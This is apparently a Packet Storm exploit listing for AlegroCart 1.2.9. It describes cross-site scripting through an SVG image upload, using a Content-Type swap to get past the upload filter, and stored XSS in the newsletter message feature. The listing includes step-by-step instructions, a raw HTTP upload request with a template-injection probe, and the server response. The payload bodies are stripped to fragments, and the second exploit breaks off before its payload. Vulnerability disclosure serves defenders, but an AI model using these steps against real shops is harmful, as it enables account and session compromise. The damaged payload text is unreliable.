AlegroCart 1.2.9 Cross Site Scripting

Exploit Details

Basic Information

Exploit Title AlegroCart 1.2.9 Cross Site Scripting
Exploit ID PACKETSTORM:190656
Type packetstorm
Published 2025-04-24T00:00:00
Modified 2025-04-24T00:00:00

CVSS Information

CVSS Score 0.0
Severity NONE
Vector NONE

CVE Information

Exploit Description

AlegroCart……

Exploit Code

# Exploit Title: XSS via SVG Image Upload – alegrocartv1.2.9
# Date: 04/2025
# Exploit Author: Andrey Stoykov
# Version: 1.2.9
# Tested on: Debian 12
# Blog: https://msecureltd.blogspot.com/

XSS via SVG Image Upload:

Steps to Reproduce:

1. Visit http://192.168.58.129/alegrocart/administrator/?controller=download
2. Upload SVG image file with the contents below
3. Intercept the POST request and change the Content-Type to “Content-Type:
image/jpg”
4. Then visit “http://192.168.58.129/alegrocart/download/xss.svg” to
trigger the XSS




placeholder=”Type here…”/>


// HTTP POST request

POST /alegrocart/administrator/?controller=download&action=insert HTTP/1.1
Host: 192.168.58.129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0)
Gecko/20100101 Firefox/138.0
[…]

——geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
Content-Disposition: form-data; name=”language[1][name]”

{{7*7}}
——geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
Content-Disposition: form-data; name=”fileName”

xss.svg
——geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
Content-Disposition: form-data; name=”download”; filename=”xss.svg”
Content-Type: image/jpg




placeholder=”Type here…”/>



——geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
Content-Disposition: form-data; name=”mask”

6760664742675684.svg
——geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
Content-Disposition: form-data; name=”remaining”

1
——geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc
Content-Disposition: form-data; name=”79d45153379f999ff64e1198b05faae6″

586fdeeeaf42c0c557291be4d32afe11
——geckoformboundary15d78a6e0de83d7fc006c8ad803bfefc–

// HTTP Response

HTTP/1.1 302 Found
Date: Thu, 03 Apr 2025 20:42:59 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
Perl/v5.16.3
X-Powered-By: PHP/5.6.40
Location:
http://192.168.58.129/alegrocart/administrator/?controller=download
Cache-Control: max-age=0, private, no-store, no-cache, must-revalidate
Expires: Thu, 03 Apr 2025 20:42:59 GMT
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# Exploit Title: Stored XSS in “Message” Functionality – alegrocartv1.2.9
# Date: 04/2025
# Exploit Author: Andrey Stoykov
# Version: 1.2.9
# Tested on: Debian 12
# Blog: https://msecureltd.blogspot.com/

Stored XSS #1:

Steps to Reproduce:

1. Login as demonstrator account and visit “Customers” > “Newsletter”
2. In “Message” use the following XSS payload